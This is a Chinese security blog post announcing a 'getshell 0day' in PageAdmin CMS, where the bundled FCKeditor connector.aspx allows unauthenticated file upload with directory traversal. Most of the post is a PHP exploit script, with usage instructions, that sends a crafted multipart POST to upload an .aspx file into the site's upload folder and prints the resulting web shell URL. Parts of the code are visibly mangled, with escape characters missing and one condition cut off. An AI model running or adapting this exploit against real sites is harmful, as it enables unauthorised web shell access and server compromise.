PageAdmin cms getshell 0day - 脚本漏洞

  • A+
所属分类:lcx

by:★黑小子★

这个程序有格fckeditor 悲剧就在这里了

不过程序他在upload.aspx里面到时验证了权限

任意上传

但是在connector.aspx这个里面就是一段

我不会.net所以完全不知道他这个代码是什么意思但是经过测试这个代码一点用处都没有!

可以任意文件上传../../任意跨目录!

上传可以本地构造test.html

然后我用php写了一个exp

以下是引用片段:

#!/usr/bin/php
error_reporting(0);
print_r('
+---------------------------------------------------------------------------+
PageAdmin cms Fckeditor Upload Vul Exploit
by:[email protected]
[email protected]   
welcome to www.90sec.org www.webvul.com   
+---------------------------------------------------------------------------+
'
);

if(count($argv)
print_r('
Usage: php '.$argv[0].' url Path
Example:
php '.$argv[0].' www.site.com path
');
   exit;
}
$url=$argv[1];
$path=$argv[2];
$token=getshell($url,$path);
if($token==null){
echo "[-] Exploit Failed n";
}else{
echo "[*] Exploit Success n";
echo "[*] Shell:http://$url/upload/$tokenn";
}

function Getshell($url,$path){
$host=$url;
$port="80";
$content ="-----------------------------1398531028480rnContent-Disposition: form-data; name="NewFile"; filename="cfking.aspx"rnContent-Type: application/octet-streamrnrnrn-----------------------------1398531028480--rn";
$data = "POST $path//master/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2F..%2F..%2F..%2F..%2Fupload HTTP/1.1rn";
$data .= "Host: ".$host."rn";
$data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2rn";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$data .= "Accept-Language: zh-cn,zh;q=0.5rn";
$data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7rn";
$data .= "Keep-Alive: 300rn";
$data .= "Connection: keep-alivern";
$data .= "Content-Type: multipart/form-data; boundary=---------------------------1398531028480rn";
$data .= "Content-Length: ".strlen($content)."rnrn";
$data .= $content."rn";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "[*] No response from $host n";
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp .=fgets($ock, 1024);
}
preg_match("/(0,'(.*?)')/", $exp, $arr);
return $arr[2];
}

?>

PageAdmin cms getshell 0day - 脚本漏洞

文章来源于lcx.cc:PageAdmin cms getshell 0day - 脚本漏洞

相关推荐: 一邮箱跨站 讨论

"extmail 领立斯"  传送门  http://www.wooyun.org/bugs/wooyun-2012-04854 最近在测试这个东东 1. 附件名称处 a:空格过滤     执行不鸟 b:/  直接截断前面的  (不知道@unic02n) 怎么…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: